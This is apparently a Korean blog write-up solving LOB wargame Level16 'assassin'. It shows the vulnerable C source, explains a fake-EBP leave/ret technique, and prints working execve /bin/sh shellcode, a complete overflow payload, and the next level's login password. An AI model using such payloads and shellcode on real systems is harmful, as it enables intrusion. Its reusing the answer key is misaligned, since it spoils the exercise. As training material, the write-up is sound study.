DongDD's IT

[LOB] Level16 assassin 본문

Wargame/LOB

[LOB] Level16 assassin

DongDD 2018. 1. 31. 16:44

[LOB] Level16 assassin


Problem



이번 문제도 zombie_assassin 실행 파일과 zombie_assassin.c 소스 코드 파일이 있었다.

먼저 소스 코드를 확인해보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
        char buffer[40];
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        if(argv[1][47== '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }
 
        if(argv[1][47== '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }
 
        // strncpy instead of strcpy!
        strncpy(buffer, argv[1], 48);
        printf("%s\n", buffer);
}
 
cs


buffer의 크기는 40 bytes로 이전 문제들과 똑같다.

argv[1]의 48번째 글자가 "\xbf"가 아니여야 하므로 return address에 stack 영역을 넣기는 어려워 보인다.

그리고 argv[1]의 48번째 글자가 "\x40"도 아니여야 하므로 RTL을 사용하기에도 어려워 보인다.

저번 문제와 달라진 점은 buffer+sfp hunter가 사라졌고 strncpy를 통해 48 bytes만 argv[1]에서 buffer로 복사한다는 점이다.


처음에 소스 코드위에 있는 힌트를 보고 EBP를 조작해야 한다는 것을 알았고 여러 가지 시도를 통해 통과할 수 있었다.

막 하다보니 성공했고 그 후에 이 기법에 대해 공부를 했다.



Solution


전 문제와 달리 딱 48 bytes만 복사하기 때문에 return address까지만 덮어써서 풀어야되는 문제같았다.




먼저 dummy(40 bytes)를 넣고 stack frame pointer에 원하는 위치로 바꿀 ebp의 주소를 써넣어준다.

그 후 return address에 leave, ret이 있는 main의 주소를 삽입해준다.


원래 leave -> ret가 실행되어야 하지만 return address에 leave -> ret가 한번 더 들어가게 되므로 leave -> leave -> ret가 들어가게 된다.


즉, 처음 leave에서는 mov esp, ebp와 pop ebp를 통해 ebp에 sfp에 넣었던 fake ebp의 주소가 들어간다.

그 후에 한번 더 나오는 leave에서 mov esp,ebp를 통해 esp에 sfp에 넣었던 fake ebp의 값이 들어가게 된다. 즉, 현재의 esp가 가리키는 곳은 fake ebp가 된다. 그리고 pop ebp를 통해 ebp에 fake ebp가 들어간다. esp가 fake return address를 가리키게 된다. 그 후 ret(pop eip, jmp eip)를 통해 eip에 fake return address가 들어가고 fake return address로 jump를 하는 방식으로 진행되게 만들 수 있다.


argv[2]를 사용하거나 system 함수를 사용할 수 있지만 이번 문제에서는 환경 변수에 shell code를 넣어 풀어보았다.


1. 환경 변수에 shell code 이용(fake ebp)



먼저 환경 변수 "a"에 shell code를 넣어주었다. 그 후 getenv를 사용해 환경 변수의 주소를 알아왔다.


사용한 Shell code (24 bytes) :

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80


환경 변수 "a"의 주소 : 0xbffffefe


그 후에 buffer의 시작 주소를 gdb를 통해 찾아냈다. 여기서 sfp에 buffer의 시작 주소 전 4 bytes의 위치를 넣어주게 되면 두번의 leave를 통해 buffer의 시작 부분을 return address라고 인식하게 될 것이다.

즉, buffer의 시작 위치에 환경 변수의 주소를 넣어주고 sfp에 buffer의 시작 주소 - 4bytes를 넣어 주고 return address에 leave, ret를 한번 더 실행할 수 있도록 return 해주면 될 것 같다.


buffer의 시작 주소 : 0xbffffa70

fake ebp 주소 : 0xbffffa6c

leave+ret 주소 : 0x80484df


Payload = fake return address(4 bytes, 환경 변수의 주소, 0xbffffefe) + dummy (36 bytes, "A"*36) + sfp(4 bytes, fake ebp(buffer의 시작 주소 - 4 bytes),0xbffffa6c) + return address(4 bytes, leave+ret, 0x80484df)


위 Payload로 실행해보았지만 실패해서 core파일을 통해 다시 분석해보았다. buffer의 시작 주소가 바뀌어있는 것을 볼 수 있었고 다시 찾은 주소로 payload를 재작성해 실행하니 shell을 얻을 수 있었다.


buffer의 시작 주소 : 0xbffffa80

fake ebp 주소 : 0xbffffa7c








**************     Answer & Flag     **************



1. 환경 변수에 shell code 이용(fake ebp)


Payload = fake return address(4 bytes, 환경 변수의 주소, 0xbffffefe) + dummy (36 bytes, "A"*36) + sfp(4 bytes, fake ebp(buffer의 시작 주소 - 4 bytes),0xbffffa7c) + return address(4 bytes, leave+ret, 0x80484df)


argv[1] = "\xfe\xfe\xff\xbf" + "A"*36 + "\x7c\xfa\xff\xbf" + "\xdf\x84\x04\x08"



Next ID : zombie_assassin

Next PW : no place to hide

'Wargame > LOB' 카테고리의 다른 글

[LOB] Level18 succubus  (0) 2018.02.07
[LOB] Level17 zombie_assassin  (0) 2018.01.31
[LOB] Level15 giant  (0) 2018.01.30
[LOB] Level14 bugbear  (0) 2018.01.27
[LOB] Level13 darkknight  (0) 2018.01.26
Comments